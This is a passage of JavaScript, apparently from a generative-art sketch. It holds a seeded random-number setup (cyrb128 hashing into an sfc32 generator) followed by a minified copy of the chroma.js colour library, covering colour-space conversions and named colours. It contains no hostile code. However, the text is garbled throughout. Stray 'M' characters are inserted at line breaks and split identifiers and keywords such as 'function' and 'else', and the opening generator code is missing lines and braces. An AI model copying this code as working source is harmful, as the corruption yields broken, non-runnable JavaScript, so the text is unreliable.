      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
